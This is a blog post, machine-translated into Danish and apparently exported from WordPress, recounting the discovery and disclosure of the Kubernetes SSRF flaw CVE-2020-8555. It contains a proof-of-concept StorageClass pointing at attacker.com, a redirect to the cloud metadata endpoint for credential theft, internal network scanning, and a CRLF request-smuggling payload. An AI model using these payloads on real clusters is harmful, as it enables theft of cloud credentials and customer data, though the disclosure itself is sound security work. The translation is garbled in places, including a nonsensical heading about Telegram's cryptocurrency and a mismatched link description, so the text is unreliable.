{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Bem. overs.<\/b>: Forfatterne af denne artikel beskriver detaljeret, hvordan de opdagede en s\u00e5rbarhed <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> i Kubernetes. Selvom den oprindeligt ikke virkede s\u00e6rlig farlig, viste dens kritikalitet sig at v\u00e6re maksimal for nogle cloududbydere, n\u00e5r den kombineredes med andre faktorer. De specialister, der udf\u00f8rte arbejdet, blev gener\u00f8st bel\u00f8nnet af flere organisationer.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Hvem er vi<\/h2>\n<p>\nVi er to franske sikkerhedsunders\u00f8gere, der sammen har opdaget en s\u00e5rbarhed i Kubernetes. Vi hedder Brice Augras og Christophe Hauquiert, men p\u00e5 mange Bug Bounty-platforme er vi kendt som Reeverzax og Hach henholdsvis:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes-arkitekt hos Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Hvad skete der?<\/h2>\n<p>\nDenne artikel er vores m\u00e5de at fort\u00e6lle, hvordan et almindeligt forskningsprojekt uventet blev til det mest sp\u00e6ndende eventyr i livet for bugj\u00e6gere (i det mindste indtil videre).<\/p>\n<p>Som du m\u00e5ske ved, har bugj\u00e6gere et par bem\u00e6rkelsesv\u00e6rdige tr\u00e6k:<\/p>\n<ul>\n<li> de lever af pizza og \u00f8l;<\/li>\n<li> de arbejder, mens alle andre sover.<\/li>\n<\/ul>\n<p>\nVi er ikke en undtagelse fra disse regler: vi m\u00f8des normalt i weekenden og tilbringer s\u00f8vnl\u00f8se hacker-n\u00e6tter. Men en af disse n\u00e6tter sluttede p\u00e5 en ret us\u00e6dvanlig m\u00e5de.<\/p>\n<p>Oprindeligt havde vi planlagt at m\u00f8des for at diskutere deltagelse i <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> dagen efter. Under samtalen om sikkerhed i Kubernetes i en styret service-milj\u00f8 kom vi i tanke om en gammel id\u00e9 om SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) og besluttede at pr\u00f8ve at bruge den som et angrebsscenario.<\/p>\n<p>Klokken 11 satte vi os ned for at forske, og vi gik i seng tidligt om morgenen, meget tilfredse med resultaterne. Det var disse unders\u00f8gelser, der f\u00f8rte os til MSRC Bug Bounty-programmet, hvor vi opfandt et exploit med privilegiumseskalering.<\/p>\n<p>Uger\/m\u00e5neder gik, og vores uventede resultat gav os en af de h\u00f8jeste bel\u00f8nninger i historien om Azure Cloud Bug Bounty \u2014 ud over den, vi fik fra Kubernetes!<\/p>\n<p>Inspireret af vores forskningsprojekt offentliggjorde Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Nu \u00f8nsker vi at sprede informationen om den fundne s\u00e5rbarhed s\u00e5 meget som muligt. Vi h\u00e5ber, I vil v\u00e6rds\u00e6tte opdagelsen og dele tekniske detaljer med andre medlemmer af infosec-f\u00e6llesskabet!<\/p>\n<p>S\u00e5 her er vores historie\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nFor a complete understanding of what happened, let\u2019s first look at how Kubernetes operates in a managed cloud environment.<\/p>\n<p>When you create a Kubernetes cluster instance in such an environment, the managed layer is usually handled by the cloud service provider:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>The managed layer is located at the perimeter of the cloud provider, while the Kubernetes nodes are at the client\u2019s perimeter.<\/i><\/p>\n<p>For dynamic volume allocation, a mechanism is used for dynamically provisioning them from an external storage backend and mapping them to PVC (persistent volume claim).<\/p>\n<p>N\u00e5r PVC er oprettet og bundet til en StorageClass i K8s-klusteret, tager kube\/cloud controller manager ansvar for de efterf\u00f8lgende handlinger ved at levere volume (det n\u00f8jagtige navn afh\u00e6nger af versionen). <i>(<b>Bem. overs.<\/b>: We have previously written more details about CCM based on its implementation for one of the cloud providers. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">her<\/a><\/noindex>.)<\/i><\/p>\n<p>Der findes flere typer provisioners, der underst\u00f8ttes af Kubernetes: de fleste er indbygget i <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">the core of the orchestrator,<\/a><\/noindex>, mens andre styres af ekstra provisioners, der k\u00f8rer i pods i klusteret.<\/p>\n<p>In our research, we focused on the internal volume provisioning mechanism, illustrated below:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamisk provisionering af volumes ved hj\u00e6lp af den indbyggede Kubernetes provisioner.<\/i><\/p>\n<p>Kort sagt, n\u00e5r Kubernetes er implementeret i et administreret milj\u00f8, er det cloud-leverand\u00f8ren, der tager sig af controller managerens arbejde, men anmodningen om at oprette volume (nummer 3 p\u00e5 ovenst\u00e5ende diagram) forlader det interne netv\u00e6rk af cloud-udbyderen. Og her bliver situationen virkelig interessant!<\/p>\n<h2>Hacking Scenario<\/h2>\n<p>\nIn this section, we will discuss how we used the aforementioned workflow to gain access to the internal resources of the cloud service provider. Additionally, it will be shown how certain actions can be executed\u2014such as obtaining internal credentials or conducting privilege escalation.<\/p>\n<p>One simple maneuver (in this case, Service Side Request Forgery) helped to escape the client environment in the clusters of various managed K8s service providers.<\/p>\n<p>I vores forskning fokuserede vi p\u00e5 GlusterFS provisioneren. Selvom den efterf\u00f8lgende sekvens er beskrevet i denne kontekst, er samme s\u00e5rbarhed g\u00e6ldende for Quobyte, StorageOS og ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Misbrug af mekanismen til dynamisk tildeling af volumener<\/i><\/p>\n<p>Under analysen af lagerklassen <b>GlusterFS<\/b> i klientens kilder p\u00e5 Golang fandt vi <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">blev bem\u00e6rket<\/a><\/noindex>, at ved den f\u00f8rste HTTP-anmodning (3), sendt under oprettelsen af volumen, til slutningen af brugerens URL i parameteren <code>resturl<\/code> Kubelet <code>\/volumes<\/code>.<\/p>\n<p>For at fjerne denne ekstra sti besluttede vi at tilf\u00f8je <code>#<\/code> til parameteren <code>resturl<\/code>. Her er den f\u00f8rste YAML-konfiguration, som vi brugte til at teste for en \u00absemi-blind\u00bb SSRF-s\u00e5rbarhed <i>(du kan l\u00e6se mere om semi-blind eller half-blind SSRF, for eksempel <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">her<\/a><\/noindex> \u2014 red. anm.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nDerefter brugte vi en bin\u00e6r fil til at fjernstyre Kubernetes-klusteret <b>kubectl<\/b>. Som regel giver cloud-udbydere (Azure, Google, AWS osv.) mulighed for at f\u00e5 legitimationsoplysninger til brug i dette v\u00e6rkt\u00f8j.<\/p>\n<p>Takket v\u00e6re dette lykkedes det at anvende vores \u00abspecielle\u00bb fil. Kube-controller-manager udf\u00f8rte den resulterende HTTP-anmodning:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Svar fra angriberens synspunkt<\/i><\/p>\n<p>Kort tid efter kunne vi ogs\u00e5 modtage et HTTP-svar fra m\u00e5lserveren \u2014 via kommandoerne <code>describe pvc<\/code> eller <code>get events<\/code> i kubectl. Og faktisk: denne Kubernetes-driver er som standard alt for meddelsom i sine advarsler\/fejlmeddelelser\u2026<\/p>\n<p>Her er et eksempel med et link til <code>https:\/\/www.google.fr<\/code>, sat som parameter <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# eller du kan bruge kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nI denne tilgang var vi begr\u00e6nset til anmodninger af typen <b>HTTP POST<\/b> og vi kunne ikke f\u00e5 fat i indholdet af svarlegemet, hvis den returnerede kode var <b>201<\/b>. Derfor besluttede vi at lave yderligere unders\u00f8gelser og udvide dette angrebsscenario med nye tilgange.<\/p>\n<h2>Udviklingen af vores forskning<\/h2>\n<p><\/p>\n<ul>\n<li> Avanceret scenario #1: brug af 302-redirect fra en ekstern server til at \u00e6ndre HTTP-metoden for at f\u00e5 en mere fleksibel m\u00e5de at indsamle interne data p\u00e5.<\/li>\n<li> Avanceret scenario #2: automatisering af scanning af LAN og opdagelse af interne ressourcer.<\/li>\n<li> Avanceret scenario nr. 3: brug af HTTP CRLF + smuggling til at oprette tilpassede HTTP-anmodninger og hente data udtrukket fra kube-controllerens logs.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tekniske specifikationer<\/h3>\n<p><\/p>\n<ul>\n<li> I forskningen blev Azure Kubernetes Service (AKS) brugt med Kubernetes version 1.12 i regionen Nordlige Europa.<\/li>\n<li> De ovenfor beskrevne scenarier blev udf\u00f8rt p\u00e5 de nyeste versioner af Kubernetes, undtagen det tredje scenario, da det kr\u00e6vede Kubernetes bygget med Golang version \u2264 1.12.<\/li>\n<li> Angrebsgiverens eksterne server \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Avanceret scenario nr. 1: omdirigere HTTP POST-anmodning til GET og hente fortrolige data<\/h3>\n<p>\nDen oprindelige metode blev forbedret af konfigurationen af angriberens server til at returnere <b>302 HTTP Retkode<\/b>, for at konvertere POST-anmodningen til en GET-anmodning (trin 4 p\u00e5 diagrammet):<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDen f\u00f8rste anmodning (3), der kommer fra klienten <b>GlusterFS<\/b> (Controller Manager), har typen POST. Ved at f\u00f8lge de f\u00f8lgende trin kunne vi omdanne den til GET:<\/p>\n<ul>\n<li> Som parameter <code>resturl<\/code> angives i StorageClass <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> responsen giver en HTTP-statuskode 302 med f\u00f8lgende Location Header: <code>http:\/\/169.254.169.254<\/code>. Det kan v\u00e6re hvilken som helst anden intern ressource \u2014 i dette tilf\u00e6lde bruges redirect-linket udelukkende som eksempel.<\/li>\n<li> By default <b>net\/http biblioteket<\/b> Golang videresender anmodningen og konverterer POST til GET med statuskode 302, hvilket resulterer i, at der sendes en HTTP GET-anmodning til den \u00f8nskede ressource.<\/li>\n<\/ul>\n<p>\nFor at l\u00e6se kroppen af HTTP-svaret skal man g\u00f8re <code>describe<\/code> PVC-objektet:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nHer er et eksempel p\u00e5 et HTTP-svar i JSON-format, som vi kunne f\u00e5:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nMulighederne for den findes s\u00e5rbarhed var p\u00e5 det tidspunkt begr\u00e6nsede p\u00e5 grund af f\u00f8lgende punkter:<\/p>\n<ul>\n<li> Manglende mulighed for at inds\u00e6tte HTTP-overskrifter i den udg\u00e5ende anmodning.<\/li>\n<li> Manglende mulighed for at udf\u00f8re POST-anmodninger med parametre i kroppen (s\u00e5 praktisk til at anmode om n\u00f8glev\u00e6rdien fra en etcd-instans, der k\u00f8rer p\u00e5 <b>2379<\/b> porten, hvis uversch\u00e5len HTTP anvendes).<\/li>\n<li> Manglende mulighed for at hente indholdet af svarens krop, n\u00e5r statuskoden var lig med 200 og svaret ikke havde JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Avanceret scenario nr. 2: scanning af det lokale netv\u00e6rk<\/h3>\n<p>\nDenne half-blind SSRF-metode blev derefter brugt til at skanne den interne netv\u00e6rk af cloud-udbyderen og unders\u00f8ge forskellige lytte-tjenester (Metadata-instansen, Kubelet, etcd osv.) baseret p\u00e5 svarene fra <b>kube controlleren<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nF\u00f8rst blev de standard lytteporte for Kubernetes-komponenterne (8443, 10250, 10251 osv.) identificeret, hvorefter processen til scanning skulle automatiseres.<\/p>\n<p>Da denne scanning af ressourcer er meget specifik og ikke kompatibel med klassiske scannere og SSRF-v\u00e6rkt\u00f8jer, besluttede vi at oprette egne workers i bash-scriptet, der automatiserer hele processen.<\/p>\n<p>For hurtigt at scanne omr\u00e5det 172.16.0.0\/12 i det interne netv\u00e6rk blev 15 workers k\u00f8rt parallelt. Det n\u00e6vnte IP-omr\u00e5de blev kun valgt som eksempel og kan \u00e6ndres til det specifikke IP-omr\u00e5de for udbyderen.<\/p>\n<p>For at scanne en enkelt IP-adresse og en port skal du g\u00f8re f\u00f8lgende:<\/p>\n<ul>\n<li> fjerne den tidligere kontrollerede StorageClass;<\/li>\n<li> fjerne den tidligere kontrollerede Persistent Volume Claim;<\/li>\n<li> \u00e6ndre v\u00e6rdierne for IP og port i <code>sc.yaml<\/code>;<\/li>\n<li> oprette en StorageClass med den nye IP og port;<\/li>\n<li> oprette en ny PVC;<\/li>\n<li> hente resultaterne af scanningen med describe for PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Avanceret scenario nr. 3: CRLF-injektion + HTTP-smuggling i \u201cgamle\u201d versioner af Kubernetes-klyngen.<\/h3>\n<p>\nHvis udbyderen desuden tilb\u00f8d kunderne gamle versioner af K8s-klyngen, <b>og<\/b> og gav dem adgang til logfilerne fra kube-controller-manager, ville effekten v\u00e6re endnu mere markant.<\/p>\n<p>Det er langt lettere for angriberen at \u00e6ndre HTTP-foresp\u00f8rgslerne, der er beregnet til at f\u00e5 et fuldt HTTP-svar, efter eget valg.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nFor at implementere det sidste scenario skulle f\u00f8lgende betingelser v\u00e6re opfyldt:<\/p>\n<ul>\n<li> Brugeren skulle have adgang til logfilerne fra kube-controller-manager (som f.eks. i Azure LogInsights).<\/li>\n<li> Kubernetes-klyngen skulle bruge en Golang-version lavere end 1.12.<\/li>\n<\/ul>\n<p>\nVi satte et lokalt milj\u00f8 op, der simulerede dataudvekslingen mellem Go-klienten GlusterFS og en falsk m\u00e5lsserver (vi holder os tilbage fra at offentligg\u00f8re PoC i \u00f8jeblikket).<\/p>\n<p>Der blev opdaget <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">ASLR i programmer med setuid-flaget og bestemme adressefordelingen i de indl\u00e6ste biblioteker gennem manipulation af milj\u00f8variablen LD_PREFER_MAP_32BIT_EXEC.<\/a><\/noindex>, som ber\u00f8rte versioner af Golang lavere end 1.12 og gjorde det muligt for hackere at udf\u00f8re HTTP smuggling\/CRLF-angreb.<\/p>\n<p>Ved at kombinere ovenst\u00e5ende half-blind SSRF <b>sammen<\/b> med denne, kunne vi sende foresp\u00f8rgsler efter eget valg, herunder \u00e6ndring af headers, HTTP-metode, parametre og data, som kube-controller-manager s\u00e5 behandlede.<\/p>\n<p>Her er et eksempel p\u00e5 en fungerende \u201clokkemad\u201d i parameteren <code>resturl<\/code> StorageClass, der implementerer et s\u00e5dant angrebsscenario:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET \/pods? HTTP\/1.1\r\nHost: 172.31.X.1:10255<\/code><\/pre>\n<p>\nSom resultat opst\u00e5r der en fejl <b>uventet svar<\/b>, besked om hvilket bliver registreret i controllerens logs. Takket v\u00e6re den som standard aktiverede \"verbosity\" gemmes ogs\u00e5 indholdet af det svarende HTTP-besked.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e5r det ikke kun handler om en s\u00e5rbarhed i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDette var vores mest effektive \"lokkemad\" i vores proof of concept.<\/p>\n<p>Ved at benytte denne tilgang kunne vi udf\u00f8re nogle af de f\u00f8lgende angreb i klynger fra forskellige udbydere af managed k8s: privilegie-eskalering ved at f\u00e5 adgang til legitimationsoplysninger p\u00e5 metadata-instanser, DoS af masteren ved hj\u00e6lp af (ukrypterede) HTTP-anmodninger til masterinstanserne etcd osv.<\/p>\n<h2>Consequences<\/h2>\n<p>\nI den officielle erkl\u00e6ring fra Kubernetes om den SSRF-s\u00e5rbarhed, vi opdagede, blev der tildelt en vurdering <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Hvis vi kun betragter s\u00e5rbarheden relateret til perimeteren af Kubernetes, kvalificeres integritetsvektoren <i>(integrity vector)<\/i> som <b>None<\/b>.<\/p>\n<p>Men vurderingen af mulige konsekvenser i konteksten af et managed service-milj\u00f8 (og dette var den mest interessante del af vores forskning!) fik os til at omklassificere s\u00e5rbarheden til en vurdering <b>Critical CVSS10\/10<\/b> for mange distribut\u00f8rer.<\/p>\n<p>Nedenfor er yderligere information, der vil hj\u00e6lpe med at forst\u00e5, hvad vi baserede vores vurdering af mulige konsekvenser i cloud-milj\u00f8er p\u00e5:<\/p>\n<h3>Integritet<\/h3>\n<p><\/p>\n<ul>\n<li> Fjernudf\u00f8relse af kommandoer ved hj\u00e6lp af de opn\u00e5ede interne legitimationsoplysninger.<\/li>\n<li> Reproduktion af scenariet beskrevet ovenfor ved hj\u00e6lp af IDOR (Insecure Direct Object Reference, dvs. usikre direkte henvisninger til objekter) med andre ressourcer, der findes i det lokale netv\u00e6rk.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fortrolighed<\/h3>\n<p><\/p>\n<ul>\n<li> Angrebstype <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> takket v\u00e6re tyveri af cloud-legitimationsoplysninger (f.eks. metadata API).<\/li>\n<li> Indsamling af information ved hj\u00e6lp af scanning af det lokale netv\u00e6rk (bestemmelse af version af SSH, version af HTTP-server, \u2026).<\/li>\n<li> Indsamling af information om instanser og infrastruktur ved at foresp\u00f8rge interne API'er som metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Tyveri af kundedata ved hj\u00e6lp af cloud-legitimationsoplysninger.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tilg\u00e6ngelighed<\/h3>\n<p>\nAlle anvendelsesscenarier for exploits relateret til angrebsvektorer p\u00e5 <b>integrity (integritet)<\/b>, kan anvendes til destruktive handlinger og f\u00f8re til, at masterinstanserne fra klientens perimeter (eller enhver anden) bliver utilg\u00e6ngelige.<\/p>\n<p>Da vi befandt os i et K8s-styringsmilj\u00f8 og vurderede indvirkningen p\u00e5 integriteten, kan man forestille sig mange scenarier, der kan p\u00e5virke tilg\u00e6ngeligheden. Som yderligere eksempler kan vi n\u00e6vne beskadigelse af etcd-databasen eller udf\u00f8relsen af et kritisk kald til Kubernetes API.<\/p>\n<h2>Jeg vender tilbage til Telegrams kryptovaluta. Personligt har jeg fra<\/h2>\n<p><\/p>\n<ul>\n<li> 6. december 2019: Indsendelse af en meddelelse om den opdagede s\u00e5rbarhed til MSRC Bug Bounty.<\/li>\n<li> 3. januar 2020: En tredjepart informerede Kubernetes-udviklerne om, at vi arbejdede p\u00e5 et sikkerhedsproblem. Og bad dem betragte SSRF som en intern (in-core) s\u00e5rbarhed. Efter dette pr\u00e6senterede vi en samlet rapport med tekniske detaljer om problemets kilde.<\/li>\n<li> 15. januar 2020: Vi gav Kubernetes-udviklerne tekniske og generelle rapporter efter deres anmodning (gennem HackerOne).<\/li>\n<li> 15. januar 2020: Kubernetes-udviklerne informerede os om, at half-blind SSRF + CRLF-injektion for tidligere versioner betragtes som en in-core s\u00e5rbarhed. Vi stoppede straks analysen af andre serviceudbyderes perimeter: \u00e5rsagen blev nu h\u00e5ndteret af K8s-teamet.<\/li>\n<li> 15. januar 2020: Bel\u00f8nningen fra MSRC blev modtaget gennem HackerOne.<\/li>\n<li> 16. januar 2020: Kubernetes PSC (Product Security Committee) anerkendte s\u00e5rbarheden og bad om, at den skulle holdes hemmelig indtil midten af marts p\u00e5 grund af det store antal potentielle ofre.<\/li>\n<li> 11. februar 2020: Bel\u00f8nningen fra Google VRP blev modtaget.<\/li>\n<li> 4. marts 2020: Bel\u00f8nningen fra Kubernetes blev modtaget gennem HackerOne.<\/li>\n<li> 15. marts 2020: Den oprindeligt planlagte offentlige afsl\u00f8ring blev udsat p\u00e5 grund af COVID-19-situationen.<\/li>\n<li> 1. juni 2020: F\u00e6lles erkl\u00e6ring fra Kubernetes + Microsoft om s\u00e5rbarheden.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Vi drikker \u00f8l og spiser pizza \ud83d\ude42<\/li>\n<li> Vi opdagede en in-core s\u00e5rbarhed i Kubernetes, selvom vi slet ikke havde til hensigt at g\u00f8re det.<\/li>\n<li> Vi udf\u00f8rte en yderligere analyse i klynger fra forskellige cloud-udbydere og kunne \u00f8ge den skade, som s\u00e5rbarheden for\u00e5rsagede, for at f\u00e5 flere fantastiske bel\u00f8nninger.<\/li>\n<li> I denne artikel finder du mange tekniske detaljer. Vi ser frem til at diskutere dem med dig (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Det viste sig, at al formalia og rapportering tog meget l\u00e6ngere tid, end forventet.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-gruppen kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang problem #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. fra overs\u00e6tteren<\/h2>\n<p>\nL\u00e6s ogs\u00e5 p\u00e5 vores blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Fejls\u00f8gning i Kubernetes er officielt startet<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">At g\u00e5 uden for pod'en i Kubernetes ved at montere logs.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ v\u00e6rkt\u00f8jer til sikkerhed i Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Kilde: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 